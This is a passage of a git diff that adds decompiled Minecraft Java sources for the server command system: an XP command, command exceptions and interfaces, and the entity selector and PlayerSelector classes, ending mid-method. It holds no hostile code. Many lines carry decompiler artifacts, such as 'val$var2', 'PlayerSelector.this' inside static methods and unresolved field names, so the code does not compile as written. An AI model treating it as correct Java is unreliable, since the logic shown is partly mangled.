+    EntityPlayerMP var7 = args.length > 1 ? getPlayer(sender, args[1]) : getCommandSenderAsPlayer(sender);
+    
+    if (var4)
+    {
+      sender.func_174794_a(CommandResultStats.Type.QUERY_RESULT, experienceLevel);
+      
+      if (var6)
+      {
+        var7.addExperienceLevel(-var5);
+        notifyOperators(sender, this, "commands.xp.success.negative.levels", new Object[] { Integer.valueOf(var5), var7.getName() });
+      }
+      else
+      {
+        var7.addExperienceLevel(var5);
+        notifyOperators(sender, this, "commands.xp.success.levels", new Object[] { Integer.valueOf(var5), var7.getName() });
+      }
+    }
+    else
+    {
+      sender.func_174794_a(CommandResultStats.Type.QUERY_RESULT, experienceTotal);
+      
+      if (var6)
+      {
+        throw new CommandException("commands.xp.failure.widthdrawXp", new Object[0]);
+      }
+      
+      var7.addExperience(var5);
+      notifyOperators(sender, this, "commands.xp.success", new Object[] { Integer.valueOf(var5), var7.getName() });
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return args.length == 2 ? getListOfStringsMatchingLastWord(args, getAllUsernames()) : null;
+  }
+  
+  protected String[] getAllUsernames()
+  {
+    return MinecraftServer.getServer().getAllUsernames();
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/EntityNotFoundException.java b/src/minecraft/net/minecraft/command/EntityNotFoundException.java
new file mode 100644
index 0000000..094c04b
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/EntityNotFoundException.java
@@ -0,0 +1,16 @@
+package net.minecraft.command;
+
+public class EntityNotFoundException extends CommandException
+{
+  private static final String __OBFID = "CL_00002335";
+  
+  public EntityNotFoundException()
+  {
+    this("commands.generic.entity.notFound", new Object[0]);
+  }
+  
+  public EntityNotFoundException(String p_i46035_1_, Object... p_i46035_2_)
+  {
+    super(p_i46035_1_, p_i46035_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/IAdminCommand.java b/src/minecraft/net/minecraft/command/IAdminCommand.java
new file mode 100644
index 0000000..e39ca99
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/IAdminCommand.java
@@ -0,0 +1,6 @@
+package net.minecraft.command;
+
+public abstract interface IAdminCommand
+{
+  public abstract void notifyOperators(ICommandSender paramICommandSender, ICommand paramICommand, int paramInt, String paramString, Object... paramVarArgs);
+}
diff --git a/src/minecraft/net/minecraft/command/ICommand.java b/src/minecraft/net/minecraft/command/ICommand.java
new file mode 100644
index 0000000..cbc7e36
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/ICommand.java
@@ -0,0 +1,23 @@
+package net.minecraft.command;
+
+import java.util.List;
+import net.minecraft.util.BlockPos;
+
+public abstract interface ICommand
+  extends Comparable
+{
+  public abstract String getCommandName();
+  
+  public abstract String getCommandUsage(ICommandSender paramICommandSender);
+  
+  public abstract List getCommandAliases();
+  
+  public abstract void processCommand(ICommandSender paramICommandSender, String[] paramArrayOfString)
+    throws CommandException;
+  
+  public abstract boolean canCommandSenderUseCommand(ICommandSender paramICommandSender);
+  
+  public abstract List addTabCompletionOptions(ICommandSender paramICommandSender, String[] paramArrayOfString, BlockPos paramBlockPos);
+  
+  public abstract boolean isUsernameIndex(String[] paramArrayOfString, int paramInt);
+}
diff --git a/src/minecraft/net/minecraft/command/ICommandManager.java b/src/minecraft/net/minecraft/command/ICommandManager.java
new file mode 100644
index 0000000..34d739c
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/ICommandManager.java
@@ -0,0 +1,16 @@
+package net.minecraft.command;
+
+import java.util.List;
+import java.util.Map;
+import net.minecraft.util.BlockPos;
+
+public abstract interface ICommandManager
+{
+  public abstract int executeCommand(ICommandSender paramICommandSender, String paramString);
+  
+  public abstract List getTabCompletionOptions(ICommandSender paramICommandSender, String paramString, BlockPos paramBlockPos);
+  
+  public abstract List getPossibleCommands(ICommandSender paramICommandSender);
+  
+  public abstract Map getCommands();
+}
diff --git a/src/minecraft/net/minecraft/command/ICommandSender.java b/src/minecraft/net/minecraft/command/ICommandSender.java
new file mode 100644
index 0000000..3ae6151
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/ICommandSender.java
@@ -0,0 +1,30 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public abstract interface ICommandSender
+{
+  public abstract String getName();
+  
+  public abstract IChatComponent getDisplayName();
+  
+  public abstract void addChatMessage(IChatComponent paramIChatComponent);
+  
+  public abstract boolean canCommandSenderUseCommand(int paramInt, String paramString);
+  
+  public abstract BlockPos getPosition();
+  
+  public abstract Vec3 getPositionVector();
+  
+  public abstract World getEntityWorld();
+  
+  public abstract Entity getCommandSenderEntity();
+  
+  public abstract boolean sendCommandFeedback();
+  
+  public abstract void func_174794_a(CommandResultStats.Type paramType, int paramInt);
+}
diff --git a/src/minecraft/net/minecraft/command/IEntitySelector.java b/src/minecraft/net/minecraft/command/IEntitySelector.java
new file mode 100644
index 0000000..c35535b
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/IEntitySelector.java
@@ -0,0 +1,96 @@
+package net.minecraft.command;
+
+import com.google.common.base.Predicate;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.ItemStack;
+
+public final class IEntitySelector
+{
+  public static final Predicate selectAnything = new Predicate()
+  {
+    private static final String __OBFID = "CL_00001541";
+    
+    public boolean func_180131_a(Entity p_180131_1_) {
+      return p_180131_1_.isEntityAlive();
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180131_a((Entity)p_apply_1_);
+    }
+  };
+  public static final Predicate field_152785_b = new Predicate()
+  {
+    private static final String __OBFID = "CL_00001542";
+    
+    public boolean func_180130_a(Entity p_180130_1_) {
+      return (p_180130_1_.isEntityAlive()) && (riddenByEntity == null) && (ridingEntity == null);
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180130_a((Entity)p_apply_1_);
+    }
+  };
+  public static final Predicate selectInventories = new Predicate()
+  {
+    private static final String __OBFID = "CL_00001867";
+    
+    public boolean func_180102_a(Entity p_180102_1_) {
+      return ((p_180102_1_ instanceof IInventory)) && (p_180102_1_.isEntityAlive());
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180102_a((Entity)p_apply_1_);
+    }
+  };
+  public static final Predicate field_180132_d = new Predicate()
+  {
+    private static final String __OBFID = "CL_00002256";
+    
+    public boolean func_180103_a(Entity p_180103_1_) {
+      return (!(p_180103_1_ instanceof EntityPlayer)) || (!((EntityPlayer)p_180103_1_).func_175149_v());
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180103_a((Entity)p_apply_1_);
+    }
+  };
+  private static final String __OBFID = "CL_00002257";
+  
+  public IEntitySelector() {}
+  
+  public static class ArmoredMob implements Predicate {
+    private final ItemStack field_96567_c;
+    private static final String __OBFID = "CL_00001543";
+    
+    public ArmoredMob(ItemStack p_i1584_1_) {
+      field_96567_c = p_i1584_1_;
+    }
+    
+    public boolean func_180100_a(Entity p_180100_1_)
+    {
+      if (!p_180100_1_.isEntityAlive())
+      {
+        return false;
+      }
+      if (!(p_180100_1_ instanceof EntityLivingBase))
+      {
+        return false;
+      }
+      
+
+      EntityLivingBase var2 = (EntityLivingBase)p_180100_1_;
+      return (var2 instanceof EntityArmorStand) ? true : (var2 instanceof EntityLiving) ? ((EntityLiving)var2).canPickUpLoot() : var2.getEquipmentInSlot(EntityLiving.getArmorPosition(field_96567_c)) != null ? false : var2 instanceof EntityPlayer;
+    }
+    
+
+    public boolean apply(Object p_apply_1_)
+    {
+      return func_180100_a((Entity)p_apply_1_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/NumberInvalidException.java b/src/minecraft/net/minecraft/command/NumberInvalidException.java
new file mode 100644
index 0000000..b6e6e0b
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/NumberInvalidException.java
@@ -0,0 +1,16 @@
+package net.minecraft.command;
+
+public class NumberInvalidException extends CommandException
+{
+  private static final String __OBFID = "CL_00001188";
+  
+  public NumberInvalidException()
+  {
+    this("commands.generic.num.invalid", new Object[0]);
+  }
+  
+  public NumberInvalidException(String p_i1360_1_, Object... p_i1360_2_)
+  {
+    super(p_i1360_1_, p_i1360_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/PlayerNotFoundException.java b/src/minecraft/net/minecraft/command/PlayerNotFoundException.java
new file mode 100644
index 0000000..ff8127c
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/PlayerNotFoundException.java
@@ -0,0 +1,16 @@
+package net.minecraft.command;
+
+public class PlayerNotFoundException extends CommandException
+{
+  private static final String __OBFID = "CL_00001190";
+  
+  public PlayerNotFoundException()
+  {
+    this("commands.generic.player.notFound", new Object[0]);
+  }
+  
+  public PlayerNotFoundException(String p_i1362_1_, Object... p_i1362_2_)
+  {
+    super(p_i1362_1_, p_i1362_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/PlayerSelector.java b/src/minecraft/net/minecraft/command/PlayerSelector.java
new file mode 100644
index 0000000..061489d
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/PlayerSelector.java
@@ -0,0 +1,815 @@
+package net.minecraft.command;
+
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.collect.ComparisonChain;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.UUID;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.scoreboard.Team;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ItemInWorldManager;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.WorldSettings.GameType;
+
+public class PlayerSelector
+{
+  private static final Pattern tokenPattern = Pattern.compile("^@([pare])(?:\\[([\\w=,!-]*)\\])?$");
+  
+
+
+
+  private static final Pattern intListPattern = Pattern.compile("\\G([-!]?[\\w-]*)(?:$|,)");
+  
+
+
+
+  private static final Pattern keyValueListPattern = Pattern.compile("\\G(\\w+)=([-!]?[\\w-]*)(?:$|,)");
+  private static final Set field_179666_d = Sets.newHashSet(new String[] { "x", "y", "z", "dx", "dy", "dz", "rm", "r" });
+  
+  private static final String __OBFID = "CL_00000086";
+  
+  public PlayerSelector() {}
+  
+  public static EntityPlayerMP matchOnePlayer(ICommandSender p_82386_0_, String p_82386_1_)
+  {
+    return (EntityPlayerMP)func_179652_a(p_82386_0_, p_82386_1_, EntityPlayerMP.class);
+  }
+  
+  public static Entity func_179652_a(ICommandSender p_179652_0_, String p_179652_1_, Class p_179652_2_)
+  {
+    List var3 = func_179656_b(p_179652_0_, p_179652_1_, p_179652_2_);
+    return var3.size() == 1 ? (Entity)var3.get(0) : null;
+  }
+  
+  public static IChatComponent func_150869_b(ICommandSender p_150869_0_, String p_150869_1_)
+  {
+    List var2 = func_179656_b(p_150869_0_, p_150869_1_, Entity.class);
+    
+    if (var2.isEmpty())
+    {
+      return null;
+    }
+    
+
+    ArrayList var3 = Lists.newArrayList();
+    Iterator var4 = var2.iterator();
+    
+    while (var4.hasNext())
+    {
+      Entity var5 = (Entity)var4.next();
+      var3.add(var5.getDisplayName());
+    }
+    
+    return CommandBase.join(var3);
+  }
+  
+
+  public static List func_179656_b(ICommandSender p_179656_0_, String p_179656_1_, Class p_179656_2_)
+  {
+    Matcher var3 = tokenPattern.matcher(p_179656_1_);
+    
+    if ((var3.matches()) && (p_179656_0_.canCommandSenderUseCommand(1, "@")))
+    {
+      Map var4 = getArgumentMap(var3.group(2));
+      
+      if (!func_179655_b(p_179656_0_, var4))
+      {
+        return Collections.emptyList();
+      }
+      
+
+      String var5 = var3.group(1);
+      BlockPos var6 = func_179664_b(var4, p_179656_0_.getPosition());
+      List var7 = func_179654_a(p_179656_0_, var4);
+      ArrayList var8 = Lists.newArrayList();
+      Iterator var9 = var7.iterator();
+      
+      while (var9.hasNext())
+      {
+        World var10 = (World)var9.next();
+        
+        if (var10 != null)
+        {
+          ArrayList var11 = Lists.newArrayList();
+          var11.addAll(func_179663_a(var4, var5));
+          var11.addAll(func_179648_b(var4));
+          var11.addAll(func_179649_c(var4));
+          var11.addAll(func_179659_d(var4));
+          var11.addAll(func_179657_e(var4));
+          var11.addAll(func_179647_f(var4));
+          var11.addAll(func_180698_a(var4, var6));
+          var11.addAll(func_179662_g(var4));
+          var8.addAll(func_179660_a(var4, p_179656_2_, var11, var5, var10, var6));
+        }
+      }
+      
+      return func_179658_a(var8, var4, p_179656_0_, p_179656_2_, var5, var6);
+    }
+    
+
+
+    return Collections.emptyList();
+  }
+  
+
+  private static List func_179654_a(ICommandSender p_179654_0_, Map p_179654_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    
+    if (func_179665_h(p_179654_1_))
+    {
+      var2.add(p_179654_0_.getEntityWorld());
+    }
+    else
+    {
+      Collections.addAll(var2, getServerworldServers);
+    }
+    
+    return var2;
+  }
+  
+  private static boolean func_179655_b(ICommandSender p_179655_0_, Map p_179655_1_)
+  {
+    String var2 = func_179651_b(p_179655_1_, "type");
+    var2 = (var2 != null) && (var2.startsWith("!")) ? var2.substring(1) : var2;
+    
+    if ((var2 != null) && (!EntityList.func_180125_b(var2)))
+    {
+      ChatComponentTranslation var3 = new ChatComponentTranslation("commands.generic.entity.invalidType", new Object[] { var2 });
+      var3.getChatStyle().setColor(EnumChatFormatting.RED);
+      p_179655_0_.addChatMessage(var3);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  private static List func_179663_a(Map p_179663_0_, String p_179663_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    String var3 = func_179651_b(p_179663_0_, "type");
+    final boolean var4 = (var3 != null) && (var3.startsWith("!"));
+    
+    if (var4)
+    {
+      var3 = var3.substring(1);
+    }
+    
+    boolean var6 = !p_179663_1_.equals("e");
+    boolean var7 = (p_179663_1_.equals("r")) && (var3 != null);
+    
+    if (((var3 == null) || (!p_179663_1_.equals("e"))) && (!var7))
+    {
+      if (var6)
+      {
+        var2.add(new Predicate()
+        {
+          private static final String __OBFID = "CL_00002358";
+          
+          public boolean func_179624_a(Entity p_179624_1_) {
+            return p_179624_1_ instanceof EntityPlayer;
+          }
+          
+          public boolean apply(Object p_apply_1_) {
+            return func_179624_a((Entity)p_apply_1_);
+          }
+        });
+      }
+    }
+    else
+    {
+      String var3_f = var3;
+      var2.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002362";
+        
+        public boolean func_179613_a(Entity p_179613_1_) {
+          return EntityList.func_180123_a(p_179613_1_, PlayerSelector.this) ^ var4;
+        }
+        
+        public boolean apply(Object p_apply_1_) {
+          return func_179613_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    return var2;
+  }
+  
+  private static List func_179648_b(Map p_179648_0_)
+  {
+    ArrayList var1 = Lists.newArrayList();
+    int var2 = func_179653_a(p_179648_0_, "lm", -1);
+    final int var3 = func_179653_a(p_179648_0_, "l", -1);
+    
+    if ((var2 > -1) || (var3 > -1))
+    {
+      var1.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002357";
+        
+        public boolean func_179625_a(Entity p_179625_1_) {
+          if (!(p_179625_1_ instanceof EntityPlayerMP))
+          {
+            return false;
+          }
+          
+
+          EntityPlayerMP var2x = (EntityPlayerMP)p_179625_1_;
+          return ((val$var2 <= -1) || (experienceLevel >= val$var2)) && ((var3 <= -1) || (experienceLevel <= var3));
+        }
+        
+        public boolean apply(Object p_apply_1_)
+        {
+          return func_179625_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    return var1;
+  }
+  
+  private static List func_179649_c(Map p_179649_0_)
+  {
+    ArrayList var1 = Lists.newArrayList();
+    int var2 = func_179653_a(p_179649_0_, "m", WorldSettings.GameType.NOT_SET.getID());
+    
+    if (var2 != WorldSettings.GameType.NOT_SET.getID())
+    {
+      var1.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002356";
+        
+        public boolean func_179619_a(Entity p_179619_1_) {
+          if (!(p_179619_1_ instanceof EntityPlayerMP))
+          {
+            return false;
+          }
+          
+
+          EntityPlayerMP var2x = (EntityPlayerMP)p_179619_1_;
+          return theItemInWorldManager.getGameType().getID() == val$var2;
+        }
+        
+        public boolean apply(Object p_apply_1_)
+        {
+          return func_179619_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    return var1;
+  }
+  
+  private static List func_179659_d(Map p_179659_0_)
+  {
+    ArrayList var1 = Lists.newArrayList();
+    String var2 = func_179651_b(p_179659_0_, "team");
+    final boolean var3 = (var2 != null) && (var2.startsWith("!"));
+    
+    if (var3)
+    {
+      var2 = var2.substring(1);
+    }
+    
+    if (var2 != null)
+    {
+      String var2_f = var2;
+      var1.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002355";
+        
+        public boolean func_179621_a(Entity p_179621_1_) {
+          if (!(p_179621_1_ instanceof EntityLivingBase))
+          {
+            return false;
+          }
+          
+
+          EntityLivingBase var2x = (EntityLivingBase)p_179621_1_;
+          Team var3x = var2x.getTeam();
+          String var4 = var3x == null ? "" : var3x.getRegisteredName();
+          return var4.equals(PlayerSelector.this) ^ var3;
+        }
+        
+        public boolean apply(Object p_apply_1_)
+        {
+          return func_179621_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    return var1;
+  }
+  
+  private static List func_179657_e(Map p_179657_0_)
+  {
+    ArrayList var1 = Lists.newArrayList();
+    Map var2 = func_96560_a(p_179657_0_);
+    
+    if ((var2 != null) && (var2.size() > 0))
+    {
+      var1.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002354";
+        
+        public boolean func_179603_a(Entity p_179603_1_) {
+          Scoreboard var2x = MinecraftServer.getServer().worldServerForDimension(0).getScoreboard();
+          Iterator var3 = entrySet().iterator();
+          
+          Map.Entry var4;
+          boolean var6;
+          int var10;
+          do
+          {
+            if (!var3.hasNext())
+            {
+              return true;
+            }
+            
+            var4 = (Map.Entry)var3.next();
+            String var5 = (String)var4.getKey();
+            var6 = false;
+            
+            if ((var5.endsWith("_min")) && (var5.length() > 4))
+            {
+              var6 = true;
+              var5 = var5.substring(0, var5.length() - 4);
+            }
+            
+            net.minecraft.scoreboard.ScoreObjective var7 = var2x.getObjective(var5);
+            
+            if (var7 == null)
+            {
+              return false;
+            }
+            
+            String var8 = (p_179603_1_ instanceof EntityPlayerMP) ? p_179603_1_.getName() : p_179603_1_.getUniqueID().toString();
+            
+            if (!var2x.func_178819_b(var8, var7))
+            {
+              return false;
+            }
+            
+            Score var9 = var2x.getValueFromObjective(var8, var7);
+            var10 = var9.getScorePoints();
+            
+            if ((var10 < ((Integer)var4.getValue()).intValue()) && (var6))
+            {
+              return false;
+            }
+            
+          } while ((var10 <= ((Integer)var4.getValue()).intValue()) || (var6));
+          
+          return false;
+        }
+        
+        public boolean apply(Object p_apply_1_) {
+          return func_179603_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    return var1;
+  }
+  
+  private static List func_179647_f(Map p_179647_0_)
+  {
+    ArrayList var1 = Lists.newArrayList();
+    String var2 = func_179651_b(p_179647_0_, "name");
+    final boolean var3 = (var2 != null) && (var2.startsWith("!"));
+    
+    if (var3)
+    {
+      var2 = var2.substring(1);
+    }
+    
+    if (var2 != null)
+    {
+      String var2_f = var2;
+      var1.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002353";
+        
+        public boolean func_179600_a(Entity p_179600_1_) {
+          return p_179600_1_.getName().equals(PlayerSelector.this) ^ var3;
+        }
+        
+        public boolean apply(Object p_apply_1_) {
+          return func_179600_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    return var1;
+  }
+  
+  private static List func_180698_a(Map p_180698_0_, BlockPos p_180698_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    final int var3 = func_179653_a(p_180698_0_, "rm", -1);
+    final int var4 = func_179653_a(p_180698_0_, "r", -1);
+    
+    if ((p_180698_1_ != null) && ((var3 >= 0) || (var4 >= 0)))
+    {
+      final int var5 = var3 * var3;
+      final int var6 = var4 * var4;
+      var2.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002352";
+        
+        public boolean func_179594_a(Entity p_179594_1_) {
+          int var2 = (int)p_179594_1_.func_174831_c(PlayerSelector.this);
+          return ((var3 < 0) || (var2 >= var5)) && ((var4 < 0) || (var2 <= var6));
+        }
+        
+        public boolean apply(Object p_apply_1_) {
+          return func_179594_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    return var2;
+  }
+  
+  private static List func_179662_g(Map p_179662_0_)
+  {
+    ArrayList var1 = Lists.newArrayList();
+    
+    if ((p_179662_0_.containsKey("rym")) || (p_179662_0_.containsKey("ry")))
+    {
+      int var2 = func_179650_a(func_179653_a(p_179662_0_, "rym", 0));
+      final int var3 = func_179650_a(func_179653_a(p_179662_0_, "ry", 359));
+      var1.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002351";
+        
+        public boolean func_179591_a(Entity p_179591_1_) {
+          int var2x = PlayerSelector.func_179650_a((int)Math.floor(rotationYaw));
+          return (var2x >= val$var2) || (var2x <= var3);
+        }
+        
+        public boolean apply(Object p_apply_1_) {
+          return func_179591_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    if ((p_179662_0_.containsKey("rxm")) || (p_179662_0_.containsKey("rx")))
+    {
+      int var2 = func_179650_a(func_179653_a(p_179662_0_, "rxm", 0));
+      final int var3 = func_179650_a(func_179653_a(p_179662_0_, "rx", 359));
+      var1.add(new Predicate()
+      {
+        private static final String __OBFID = "CL_00002361";
+        
+        public boolean func_179616_a(Entity p_179616_1_) {
+          int var2x = PlayerSelector.func_179650_a((int)Math.floor(rotationPitch));
+          return (var2x >= val$var2) || (var2x <= var3);
+        }
+        
+        public boolean apply(Object p_apply_1_) {
+          return func_179616_a((Entity)p_apply_1_);
+        }
+      });
+    }
+    
+    return var1;
+  }
+  
+  private static List func_179660_a(Map p_179660_0_, Class p_179660_1_, List p_179660_2_, String p_179660_3_, World worldIn, BlockPos p_179660_5_)
+  {
+    ArrayList var6 = Lists.newArrayList();
+    String var7 = func_179651_b(p_179660_0_, "type");
+    var7 = (var7 != null) && (var7.startsWith("!")) ? var7.substring(1) : var7;
+    boolean var8 = !p_179660_3_.equals("e");
+    boolean var9 = (p_179660_3_.equals("r")) && (var7 != null);
+    int var10 = func_179653_a(p_179660_0_, "dx", 0);
+    int var11 = func_179653_a(p_179660_0_, "dy", 0);
+    int var12 = func_179653_a(p_179660_0_, "dz", 0);
+    int var13 = func_179653_a(p_179660_0_, "r", -1);
+    Predicate var14 = Predicates.and(p_179660_2_);
+    Predicate var15 = Predicates.and(IEntitySelector.selectAnything, var14);
+    
+    if (p_179660_5_ != null)
+    {
+      int var16 = playerEntities.size();
+      int var17 = loadedEntityList.size();
+      boolean var18 = var16 < var17 / 16;
+      
+
+      if ((!p_179660_0_.containsKey("dx")) && (!p_179660_0_.containsKey("dy")) && (!p_179660_0_.containsKey("dz")))
+      {
+        if (var13 >= 0)
+        {
+          AxisAlignedBB var19 = new AxisAlignedBB(p_179660_5_.getX() - var13, p_179660_5_.getY() - var13, p_179660_5_.getZ() - var13, p_179660_5_.getX() + var13 + 1, p_179660_5_.getY() + var13 + 1, p_179660_5_.getZ() + var13 + 1);
+          
+          if ((var8) && (var18) && (!var9))
+          {
+            var6.addAll(worldIn.func_175661_b(p_179660_1_, var15));
+          }
+          else
+          {
+            var6.addAll(worldIn.func_175647_a(p_179660_1_, var19, var15));
+          }
+        }
+        else if (p_179660_3_.equals("a"))
+        {
+          var6.addAll(worldIn.func_175661_b(p_179660_1_, var14));
+        }
+        else if ((!p_179660_3_.equals("p")) && ((!p_179660_3_.equals("r")) || (var9)))
+        {
+          var6.addAll(worldIn.func_175644_a(p_179660_1_, var15));
+        }
+        else
+        {
+          var6.addAll(worldIn.func_175661_b(p_179660_1_, var15));
+        }
+      }
+      else
+      {
+        AxisAlignedBB var19 = func_179661_a(p_179660_5_, var10, var11, var12);
+        
+        if ((var8) && (var18) && (!var9))
+        {
+          Predicate var20 = new Predicate()
+          {
+            private static final String __OBFID = "CL_00002360";
+            
+            public boolean func_179609_a(Entity p_179609_1_) {
+              return (posX < maxX) && (posY < maxY) && (posZ < maxZ);
+            }
+            
+            public boolean apply(Object p_apply_1_) {
+              return func_179609_a((Entity)p_apply_1_);
+            }
+          };
+          var6.addAll(worldIn.func_175661_b(p_179660_1_, Predicates.and(var15, var20)));
+        }
+        else
+        {
+          var6.addAll(worldIn.func_175647_a(p_179660_1_, var19, var15));
+        }
+      }
+    }
+    else if (p_179660_3_.equals("a"))
+    {
+      var6.addAll(worldIn.func_175661_b(p_179660_1_, var14));
+    }
+    else if ((!p_179660_3_.equals("p")) && ((!p_179660_3_.equals("r")) || (var9)))
+    {
+      var6.addAll(worldIn.func_175644_a(p_179660_1_, var15));
+    }
+    else
+    {
+      var6.addAll(worldIn.func_175661_b(p_179660_1_, var15));
+    }
+    
+    return var6;
+  }
+  
+  private static List func_179658_a(List p_179658_0_, Map p_179658_1_, ICommandSender p_179658_2_, Class p_179658_3_, String p_179658_4_, BlockPos p_179658_5_)
+  {
+    int var6 = func_179653_a(p_179658_1_, "c", (!p_179658_4_.equals("a")) && (!p_179658_4_.equals("e")) ? 1 : 0);
+    
+    if ((!p_179658_4_.equals("p")) && (!p_179658_4_.equals("a")) && (!p_179658_4_.equals("e")))
+    {
+      if (p_179658_4_.equals("r"))
+      {
+        Collections.shuffle(p_179658_0_);
+      }
+    }
+    else if (p_179658_5_ != null)
+    {
+      Collections.sort(p_179658_0_, new Comparator()
+      {
+        private static final String __OBFID = "CL_00002359";
+        
+        public int func_179611_a(Entity p_179611_1_, Entity p_179611_2_) {
+          return ComparisonChain.start().compare(p_179611_1_.getDistanceSq(PlayerSelector.this), p_179611_2_.getDistanceSq(PlayerSelector.this)).result();
+        }
+        
+        public int compare(Object p_compare_1_, Object p_compare_2_) {
+          return func_179611_a((Entity)p_compare_1_, (Entity)p_compare_2_);
+        }
+      });
+    }
+    
+    Entity var7 = p_179658_2_.getCommandSenderEntity();
+    
+    if ((var7 != null) && (p_179658_3_.isAssignableFrom(var7.getClass())) && (var6 == 1) && (p_179658_0_.contains(var7)) && (!"r".equals(p_179658_4_)))
+    {
+      p_179658_0_ = Lists.newArrayList(new Entity[] { var7 });
+    }
+    
+    if (var6 != 0)
+    {
+      if (var6 < 0)
+      {
+        Collections.reverse(p_179658_0_);
+      }
+      
+      p_179658_0_ = p_179658_0_.subList(0, Math.min(Math.abs(var6), p_179658_0_.size()));
+    }
+    
+    return p_179658_0_;
+  }
+  
+  private static AxisAlignedBB func_179661_a(BlockPos p_179661_0_, int p_179661_1_, int p_179661_2_, int p_179661_3_)
+  {
+    boolean var4 = p_179661_1_ < 0;
+    boolean var5 = p_179661_2_ < 0;
+    boolean var6 = p_179661_3_ < 0;
+    int var7 = p_179661_0_.getX() + (var4 ? p_179661_1_ : 0);
+    int var8 = p_179661_0_.getY() + (var5 ? p_179661_2_ : 0);
+    int var9 = p_179661_0_.getZ() + (var6 ? p_179661_3_ : 0);
+    int var10 = p_179661_0_.getX() + (var4 ? 0 : p_179661_1_) + 1;
+    int var11 = p_179661_0_.getY() + (var5 ? 0 : p_179661_2_) + 1;
+    int var12 = p_179661_0_.getZ() + (var6 ? 0 : p_179661_3_) + 1;
+    return new AxisAlignedBB(var7, var8, var9, var10, var11, var12);
+  }
+  
+  public static int func_179650_a(int p_179650_0_)
+  {
+    p_179650_0_ %= 360;
+    
+    if (p_179650_0_ >= 160)
+    {
+      p_179650_0_ -= 360;
+    }
+    
+    if (p_179650_0_ < 0)
+    {
+      p_179650_0_ += 360;
+    }
+    
+    return p_179650_0_;
+  }
+  
+  private static BlockPos func_179664_b(Map p_179664_0_, BlockPos p_179664_1_)
+  {
+    return new BlockPos(func_179653_a(p_179664_0_, "x", p_179664_1_.getX()), func_179653_a(p_179664_0_, "y", p_179664_1_.getY()), func_179653_a(p_179664_0_, "z", p_179664_1_.getZ()));
+  }
+  
+  private static boolean func_179665_h(Map p_179665_0_)
+  {
+    Iterator var1 = field_179666_d.iterator();
+    
+    String var2;
+    do
+    {
+      if (!var1.hasNext())
+      {
+        return false;
+      }
+      
+      var2 = (String)var1.next();
+    }
+    while (!p_179665_0_.containsKey(var2));
+    
+    return true;
+  }
+  
+  private static int func_179653_a(Map p_179653_0_, String p_179653_1_, int p_179653_2_)
+  {
